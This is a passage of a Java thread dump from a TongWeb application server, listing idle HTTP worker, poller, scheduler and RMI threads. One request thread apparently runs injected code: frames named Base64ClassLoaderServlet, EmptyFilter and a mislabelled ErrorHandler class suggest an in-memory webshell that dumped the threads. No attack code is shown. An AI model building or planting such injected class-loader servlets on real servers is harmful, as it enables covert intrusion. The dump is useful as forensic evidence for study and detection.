com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-7200" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"Timer-0" #169 [TIMED_WAITING] on java.util.TaskQueue@2229bd0a + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"get-gc-info-timer" #20 daemon [TIMED_WAITING] on java.util.TaskQueue@5907c796 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-8443-exec-10" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-5" #146 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-127.0.0.1" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/1648106106.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"DefaultQuartzScheduler_QuartzSchedulerThread" #167 [TIMED_WAITING] on java.lang.Object@2bf2f37e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.core.QuartzSchedulerThread.run(QuartzSchedulerThread.java:302) + +"DefaultQuartzScheduler_Worker-10" #166 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@57d95671 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"http-nio-8443-ClientPoller-1" #127 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-9" #124 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RetryTimer" #49 daemon [WAITING] on java.util.TaskQueue@2d9cc13b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"NioBlockingSelector.BlockPoller-3" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + +"http-nio-0.0.0.0-8080-ClientPoller-0" #113 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-exec-9" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-9060-exec-4" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-9060-ClientPoller-1" #101 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) + at java.lang.Thread.run(Thread.java:750) + +"com.tongweb.tongejb.pool.scheduler.2" #62 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42b2e86f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-57" #178 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.monitor.persistence.util.IoPool$FileWriterThread.run(IoPool.java:70) + +"persistence" #174 daemon [TIMED_WAITING] on java.util.TaskQueue@256ebcd8 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-0.0.0.0-8080-exec-7" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.tongweb.web.thor.core.ThorStandardServer.await(ThorStandardServer.java:176) + at com.tongweb.web.thor.startup.Catalina.await(Catalina.java:767) + at com.tongweb.web.thor.startup.Tomee.start(Tomee.java:794) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.tongweb.web.thor.startup.ThorBootstrap.start(ThorBootstrap.java:352) + at com.tongweb.web.thor.startup.ThorBootstrap.main(ThorBootstrap.java:495) + +"WebSocketClient-AsyncIO-10" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"DefaultQuartzScheduler_Worker-1" #157 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@3fc59308 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"http-nio-0.0.0.0-9060-ClientPoller-0" #100 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8443-exec-5" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-2" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + +"http-nio-8443-exec-1" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-exec-3" #105 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.usbUm.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.tongweb.web.thor.connector.CoyoteWriter.print(CoyoteWriter.java:248) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:52) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at com.tongweb.web.thor.core.ThorStandardWrapperValve.invoke(ThorStandardWrapperValve.java:202) + at com.tongweb.web.thor.core.StandardContextValve.invoke(StandardContextValve.java:123) + at com.tongweb.twnt.thor.OpenEJBValve.invoke(OpenEJBValve.java:46) + at com.tongweb.web.thor.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472) + at com.tongweb.web.thor.core.ThorStandardHostValve.invoke(ThorStandardHostValve.java:69) + at com.tongweb.web.thor.valves.AccessLogValve.invoke(AccessLogValve.java:929) + at com.tongweb.web.thor.valves.ErrorReportValve.invoke(ErrorReportValve.java:99) + at com.tongweb.web.thor.core.StandardEngineValve.invoke(StandardEngineValve.java:118) + at com.tongweb.web.thor.connector.CoyoteAdapter.service(CoyoteAdapter.java:411) + at com.tongweb.web.oro.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1017) + at com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589) + at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1767) + at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1744) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-9060-exec-9" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-5" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-9060-exec-10" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-4" #145 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"DefaultQuartzScheduler_Worker-6" #162 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@e4fdb93 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"http-nio-8443-exec-8" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-exec-2" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-1" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-7" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-Acceptor-0" #128 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at 